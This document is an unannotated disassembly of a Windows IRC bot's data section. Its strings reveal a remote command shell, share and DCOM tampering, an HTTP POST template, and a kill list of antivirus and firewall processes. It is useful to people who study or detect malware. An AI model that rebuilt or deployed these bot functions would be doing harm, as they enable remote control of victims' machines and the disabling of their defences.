asc_439A1C	db '-'                  ; DATA XREF: sub_4192E0+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
; char aS_4[]
aS_4		db '  %S',0             ; DATA XREF: sub_4192E0+BEo
		align 10h
; char asc_439A50[]
asc_439A50	db '-'                  ; DATA XREF: sub_4192E0+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192E0+29o
; char aNetworkConnect[]
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_419460:loc_41957Do
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_419460:loc_419576o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_419460:loc_41956Fo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_419460:loc_419568o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_419460:loc_419561o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_419460:loc_419544o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_419460:loc_41953Do
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_419460:loc_419536o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_419460+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_419460:loc_41950Bo
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_419460:loc_419504o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_419460:loc_4194FDo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_419460:loc_4194F3o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_419460+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_419460:loc_4194CDo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_419460:loc_4194C3o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_419460:loc_4194B9o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_419460:loc_4194AFo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_419460:loc_4194A5o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_419460+3Bo
		align 4
; char asc_439D58[]
asc_439D58	db '-'                  ; DATA XREF: sub_419594+ABo
		db 3, 34h, 2
		dd 274656Eh, 25202D03h,	34032073h, 76726553h, 3A037265h
		dd 20532520h, 654D3403h, 67617373h, 203A0365h, 5325h
; char asc_439D84[]
asc_439D84	db '-'                  ; DATA XREF: sub_419594+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
dword_439DAC	dd 7530h		; DATA XREF: sub_419A01+12r
off_439DB0	dd offset aRegedit_exe	; DATA XREF: sub_4196BD+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset aSysinfo_exe	; "sysinfo.exe"
		dd offset aMscvb32_exe	; "mscvb32.exe"
		dd offset aMsblast_exe_0 ; "MSBLAST.exe"
		dd offset aTeekids_exe	; "teekids.exe"
		dd offset aPenis32_exe	; "Penis32.exe"
		dd offset aBbeagle_exe	; "bbeagle.exe"
		dd offset aSysmonxp_exe	; "SysMonXP.exe"
		dd offset aWinupd_exe	; "winupd.exe"
		dd offset aWinsys_exe	; "winsys.exe"
		dd offset aSsate_exe	; "ssate.exe"
		dd offset aRate_exe	; "rate.exe"
		dd offset aD3dupdate_exe ; "d3dupdate.exe"
		dd offset aIrun4_exe	; "irun4.exe"
		dd offset aI11r54n4_exe	; "i11r54n4.exe"
aI11r54n4_exe	db 'i11r54n4.exe',0     ; DATA XREF: sub_4196BD+ECo
					; .data:00439E0Co
		align 10h
aIrun4_exe	db 'irun4.exe',0        ; DATA XREF: .data:00439E08o
		align 4
aD3dupdate_exe	db 'd3dupdate.exe',0    ; DATA XREF: .data:00439E04o
		align 4
aRate_exe	db 'rate.exe',0         ; DATA XREF: .data:00439E00o
		align 4
aSsate_exe	db 'ssate.exe',0        ; DATA XREF: .data:00439DFCo
		align 4
aWinsys_exe	db 'winsys.exe',0       ; DATA XREF: .data:00439DF8o
		align 10h
aWinupd_exe	db 'winupd.exe',0       ; DATA XREF: .data:00439DF4o
		align 4
aSysmonxp_exe	db 'SysMonXP.exe',0     ; DATA XREF: .data:00439DF0o
		align 4
aBbeagle_exe	db 'bbeagle.exe',0      ; DATA XREF: .data:00439DECo
aPenis32_exe	db 'Penis32.exe',0      ; DATA XREF: .data:00439DE8o
aTeekids_exe	db 'teekids.exe',0      ; DATA XREF: .data:00439DE4o
aMsblast_exe_0	db 'MSBLAST.exe',0      ; DATA XREF: .data:00439DE0o
aMscvb32_exe	db 'mscvb32.exe',0      ; DATA XREF: .data:00439DDCo
aSysinfo_exe	db 'sysinfo.exe',0      ; DATA XREF: .data:00439DD8o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: .data:00439DD4o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .data:00439DD0o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: .data:00439DCCo
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: .data:00439DC8o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: .data:00439DC4o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: .data:00439DC0o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: .data:00439DBCo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: .data:00439DB8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: .data:00439DB4o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: .data:off_439DB0o
; char aSD_0[]
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BD+191o
		align 4
; char asc_439F68[]
asc_439F68	db '-'                  ; DATA XREF: sub_4198EC:loc_419973o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_439F8C	db  2Dh	; -		; DATA XREF: sub_4198EC+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
; char asc_439FB0[]
asc_439FB0	db '-'                  ; DATA XREF: sub_4198EC+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
; char aPrivmsgSS_1[]
aPrivmsgSS_1	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A89+33o
unk_439FE0	db  2Dh	; -		; DATA XREF: sub_419B10:loc_419C42o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A010	db  2Dh	; -		; DATA XREF: sub_419B10+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_43A038	db  2Dh	; -		; DATA XREF: sub_419B10:loc_419BF6o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
; char asc_43A068[]
asc_43A068	db '-'                  ; DATA XREF: sub_419C65+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
; char asc_43A09C[]
asc_43A09C	db '-'                  ; DATA XREF: sub_419C65+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_43A0C0	dd offset aIpc		; DATA XREF: sub_419E7A+1B3o
					; sub_41A19E+17Ao
					; "IPC$"
		align 8
		dd offset aAdmin_0	; "ADMIN$"
		align 10h
off_43A0D0	dd offset dword_43A0EC	; DATA XREF: sub_41A19E+1E3o
		dd offset dword_43A0E8
		dd offset dword_43A0E4
		dd offset dword_43A0E0
dword_43A0E0	dd 5C3A44h		; DATA XREF: sub_419E7A+217o
					; .data:0043A0DCo
dword_43A0E4	dd 2444h		; DATA XREF: .data:0043A0D8o
dword_43A0E8	dd 5C3A43h		; DATA XREF: .data:0043A0D4o
dword_43A0EC	dd 2443h		; DATA XREF: .data:off_43A0D0o
aAdmin_0	db 'ADMIN$',0           ; DATA XREF: .data:0043A0C8o
		align 4
aIpc		db 'IPC$',0             ; DATA XREF: .data:off_43A0C0o
		align 10h
; char asc_43A100[]
asc_43A100	db '-'                  ; DATA XREF: sub_419E7A+2E5o
					; sub_41A19E+2DBo
		db 3, 34h, 2
		dd 75636573h, 3026572h
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
; char asc_43A130[]
asc_43A130	db '-'                  ; DATA XREF: sub_419E7A+2CFo
		db 3, 34h, 2
		dd 75636573h, 3026572h
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
; char asc_43A158[]
asc_43A158	db '-'                  ; DATA XREF: sub_419E7A:loc_41A0DCo
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A184	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
; char asc_43A1A8[]
asc_43A1A8	db '-'                  ; DATA XREF: sub_419E7A:loc_41A049o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A1D4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
; char asc_43A1F8[]
asc_43A1F8	db '-'                  ; DATA XREF: sub_419E7A:loc_419FACo
					; sub_41A19E:loc_41A2CCo
		db 3, 34h, 2
		dd 75636573h, 3026572h
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A228	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A:loc_419FA5o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
; char asc_43A264[]
asc_43A264	db '-'                  ; DATA XREF: sub_419E7A:loc_419F87o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_43A298	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E7A+EDo
					; sub_41A19E+EDo
		align 4
; char asc_43A2E8[]
asc_43A2E8	db '-'                  ; DATA XREF: sub_419E7A+91o
					; sub_41A19E+91o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
; char asc_43A318[]
asc_43A318	db '-'                  ; DATA XREF: sub_419E7A:loc_419EE7o
		db 3, 34h, 2
		dd 75636573h, 3026572h,	4344202Dh, 64204D4Fh, 62617369h
		dd 2E64656Ch, 0
dword_43A338	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E7A+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E7A+54o
					; sub_41A19E+54o
		align 4
; char asc_43A368[]
asc_43A368	db '-'                  ; DATA XREF: sub_41A19E+2C3o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aNetworkSharesA	db '- Network shares added.',0
; char aC[]
aC		db '%c:\',0             ; DATA XREF: sub_41A19E+230o
		align 4
; char aC_1[]
aC_1		db '%c$',0              ; DATA XREF: sub_41A19E+219o
; char asc_43A398[]
asc_43A398	db '-'                  ; DATA XREF: sub_41A19E:loc_41A33Do
					; sub_41A19E:loc_41A40Eo
		db 3, 34h, 2
		dd 75636573h, 3026572h
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A3C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+198o
					; sub_41A19E+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A3E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E:loc_41A2C5o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
; char asc_43A41C[]
asc_43A41C	db '-'                  ; DATA XREF: sub_41A19E:loc_41A2A7o
		db 3, 34h, 2
		dd 75636573h, 3026572h
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A454	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
; char asc_43A494[]
asc_43A494	db '-'                  ; DATA XREF: sub_41A19E:loc_41A20Bo
		db 3, 34h, 2
		dd 75636573h, 3026572h,	4344202Dh, 65204D4Fh, 6C62616Eh
		dd 2E6465h
dword_43A4B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19E+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
; char aPostHttp1_0Hos[]
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D2+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
; char asc_43A508[]
asc_43A508	db '-'                  ; DATA XREF: sub_41A6AF+1A7o
		db 3, 34h, 2
		dd 65657073h, 73657464h, 2D030274h, 75450220h, 65706F72h
		dd 25203A02h, 626B2064h, 732F7469h, 53550220h, 203A0241h
		dd 6B206425h, 2F746962h, 41022073h, 2616973h, 6425203Ah
		dd 69626B20h, 20732F74h, 65764102h, 65676172h, 25203A02h
		dd 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AF+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AF+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AF+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AF+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AF+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AF+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AF+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AF+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AF+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AF+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AF+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AF+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AF+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AF+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AF+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AF+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AF+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AF+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AF+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AF+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AF+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AF+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AF+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AF+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AF+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AF+15o
; char aDdDhDm[]
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88C+52o
; char asc_43A720[]
asc_43A720	db '-'                  ; DATA XREF: sub_41AA43+297o
		db 3, 34h, 2
		dd 69737973h, 26F666Eh,	2202D03h, 2555043h, 4925203Ah
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_41AA43+192o
; char aCouldnTResolve[]
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AA43:loc_41ABA7o
		align 10h
; char aSS_5[]
aSS_5		db '%s (%s)',0          ; DATA XREF: sub_41AA43+EBo
; char asc_43A828[]
asc_43A828	db '-'                  ; DATA XREF: sub_41ACF7+A4o
		db 3, 34h, 2
		dd 6974656Eh, 26F666Eh,	2202D03h, 65707954h, 25203A02h
		dd 25282073h, 202E2973h, 20504902h, 72646441h, 2737365h
		dd 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h, 7325203Ah
		dd 2Eh
; char off_43A86C[]
off_43A86C	dd offset loc_412F4E	; DATA XREF: sub_41ACF7:loc_41AD63o
dword_43A870	dd 4E414Ch		; DATA XREF: sub_41ACF7:loc_41AD59o
aDialUp		db 'Dial-up',0          ; DATA XREF: sub_41ACF7+5Bo
; char aNotConnected[]
aNotConnected	db 'Not connected',0    ; DATA XREF: sub_41ACF7+48o
		align 4
; char asc_43A88C[]
asc_43A88C	db '-'                  ; DATA XREF: sub_41ADB6:loc_41AF6Fo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 4
unk_43A8BC	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF68o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
; char asc_43A8E8[]
asc_43A8E8	db '-'                  ; DATA XREF: sub_41ADB6+1A0o
		db 3, 34h, 2
		dd 69736976h, 2D030274h, 766E4920h, 64696C61h, 4C525520h
		dd 2Eh
unk_43A904	db  2Dh	; -		; DATA XREF: sub_41ADB6:loc_41AF49o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 10h
dword_43A940	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41ADB6+18Co
		dd 64657469h, 2Eh
dword_43A95C	dd 2A2F2Ah		; DATA XREF: sub_41ADB6+3Bo
dword_43A960	dd 2922B900h		; DATA XREF: sub_41B8D8+4w _randr ...
		align 10h
dword_43A970	dd 173Fh		; DATA XREF: _floor+Dr
		dd 9875h, 9873h
off_43A97C	dd offset __fpmath	; DATA XREF: __cinitr
		dd offset nullsub_2
		dd offset nullsub_2
dword_43A988	dd 1B3Fh		; DATA XREF: _ceil+Dr
dword_43A98C	dd 19930520h, 4	dup(0)	; DATA XREF: __NLG_Notify1+2o
					; __NLG_Notify+2o
off_43A9A0	dd offset __exit	; DATA XREF: __amsg_exit+1Cr
dword_43A9A4	dd 2			; DATA XREF: __FF_MSGBANNER+Er
					; __NMSG_WRITE+46r ...
		dd 10h,	0
off_43A9B0	dd offset off_43A9B0	; DATA XREF: sub_41E976+Do
					; sub_41E976+69o ...
off_43A9B4	dd offset off_43A9B0	; DATA XREF: sub_41E976:loc_41E9F6r
					; sub_41E976+89w ...
		dd offset dword_43A9C8
		dd offset dword_43A9C8
dword_43A9C0	dd 0FFFFFFFFh		; DATA XREF: sub_41E976r
					; sub_41EABA:loc_41EB07w
		dd 0FFFFFFFFh
dword_43A9C8	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	.data:0043A9B8o
					; .data:0043A9BCo
off_43C9D0	dd offset off_43A9B0	; DATA XREF: sub_41EABA+15r
					; sub_41EABA+20w ...
dword_43C9D4	dd 1E0h			; DATA XREF: sub_41B202+185r
					; sub_41B513:loc_41B54Fr ...
off_43C9D8	dd offset __wctype+2	; DATA XREF: _atol+23r
					; _atol:loc_41B74Fr ...
off_43C9DC	dd offset __wctype+2	; DATA XREF: _iswctype+18r
		public __wctype
; const	unsigned __int16 _wctype[]
__wctype	dd    200000h		; DATA XREF: _x_ismbbtype+18r
					; .data:off_43C9D8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
; size_t SrcSizeInBytes
SrcSizeInBytes	dd 1			; DATA XREF: _atol:loc_41B6F6r
					; _atol:loc_41B73Ar ...
byte_43CBE8	db 2Eh			; DATA XREF: __input:loc_420804r
					; __input+311r	...
		align 4
		dd 1
off_43CBF0	dd offset aNull		; DATA XREF: __output:loc_41FA03r
					; __output+457r
					; "(null)"
off_43CBF4	dd offset aNull_0	; DATA XREF: __output+259r
					; "(null)"
byte_43CBF8	db 1			; DATA XREF: __setmbcp+E1r
		db 2, 4, 8
		align 10h
dword_43CC00	dd 3A4h			; DATA XREF: __setmbcp+2Fo
dword_43CC04	dd 82798260h		; DATA XREF: __setmbcp+11Dr
		dd 21h,	0
dword_43CC10	dd 0DFA6h		; DATA XREF: __setmbcp+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43CCF0	dd 1			; DATA XREF: __setmbcp+3Co
					; __dosmaperr+Co
dword_43CCF4	dd 16h			; DATA XREF: __dosmaperr:loc_420414r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
asc_43CE58	db ' ',9,'-',0Dh,']',0  ; DATA XREF: __dosmaperr+19o
					; __input:loc_420A77o
		align 10h
asc_43CE60:				; DATA XREF: __input:loc_420967o
		unicode	0, <]>,0
		align 8
dword_43CE68	dd 14h			; DATA XREF: __get_fname+2o
off_43CE6C	dd offset aExp		; DATA XREF: __get_fname:loc_421641r
					; "exp"
		dd 1Dh,	427870h, 1Ah, 42C960h, 1Bh, 427868h, 1Fh, 427860h
		dd 13h,	427858h, 21h, 427850h, 0Eh, 427848h, 0Dh, 427840h
		dd 0Fh,	427838h, 10h, 427830h, 5, 427828h, 1Eh,	427824h
		dd 12h,	427820h, 20h, 42781Ch, 0Ch, 427814h, 0Bh, 42780Ch
		dd 15h,	427804h, 1Ch, 4277FCh, 19h, 4277F4h, 11h, 4277ECh
		dd 18h,	4277E4h, 16h, 4277DCh, 17h, 4277D4h, 22h, 4277D0h
		dd 23h,	4277CCh, 24h, 4277C8h
dbl_43CF40	dq 1.797693134862316e308 ; DATA	XREF: __handle_exc+B7r
					; __handle_exc:loc_421446r ...
		dd 0
		dd 0FFF80000h
dbl_43CF50	dq 1.797693134862316e308 ; DATA	XREF: __handle_exc+92r
					; __handle_exc:loc_42141Er ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43CF68	dt 2.3562723457267347066e313 ; DATA XREF: __set_statfp+Dr
					; __set_statfp+1Fr
		align 4
tbyte_43CF74	dt 1.9149954921904370718e-1233 ; DATA XREF: __set_statfp+31r
		align 10h
off_43CF80	dd offset __cfltcvt	; DATA XREF: __cfltcvt_init+Fw
					; __output+3AAr
off_43CF84	dd offset __cropzeros	; DATA XREF: __cfltcvt_init+5w
					; __output+3E2r
off_43CF88	dd offset __fassign	; DATA XREF: __cfltcvt_init+14w
					; __input+430r
off_43CF8C	dd offset __forcdecpt	; DATA XREF: __cfltcvt_init+1Ew
					; __output+3CBr
off_43CF90	dd offset __positive	; DATA XREF: __cfltcvt_init+28w
off_43CF94	dd offset __cfltcvt	; DATA XREF: __cfltcvt_init+32w
		dd offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z	; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
		align 10h
		dd offset sub_42255C
off_43CFA4	dd offset sub_42255C	; DATA XREF: sub_4225B2+29r
dword_43CFA8	dd 0C0000005h		; DATA XREF: _xcptlookup+Ar
					; _xcptlookup+11o ...
dword_43CFAC	dd 0Bh			; DATA XREF: _siglookup+Ar
		dd 0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		dd 0C000008Dh, 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		dd 0C0000090h, 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_43D020	dd 3			; DATA XREF: __XcptFilter+58r
					; _raise+C8r
dword_43D024	dd 7			; DATA XREF: __XcptFilter+5Er
					; _raise+CDr
dword_43D028	dd 0Ah			; DATA XREF: _xcptlookup+4r
					; _siglookup+4r
dword_43D02C	dd 8Ch			; DATA XREF: __XcptFilter+82r
					; __XcptFilter+8Fw ...
dword_43D030	dd 0FFFFFFFFh, 0A00h	; DATA XREF: __filbuf:loc_41F0C4o
					; __flsbuf:loc_41F647o
dword_43D038	dd 2			; DATA XREF: __NMSG_WRITE+Eo
					; __NMSG_WRITE+28r
off_43D03C	dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+FCr
					; __NMSG_WRITE+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 427B8Ch, 9, 427B60h, 0Ah,	427B3Ch, 10h, 427B10h
		dd 11h,	427AE0h, 12h, 427ABCh, 13h, 427A90h, 18h, 427A58h
		dd 19h,	427A30h, 1Ah, 4279F8h, 1Bh, 4279C0h, 1Ch, 427998h
		dd 78h,	427988h, 79h, 427978h, 7Ah, 427968h, 0FCh, 433F14h
		dd 0FFh, 427958h
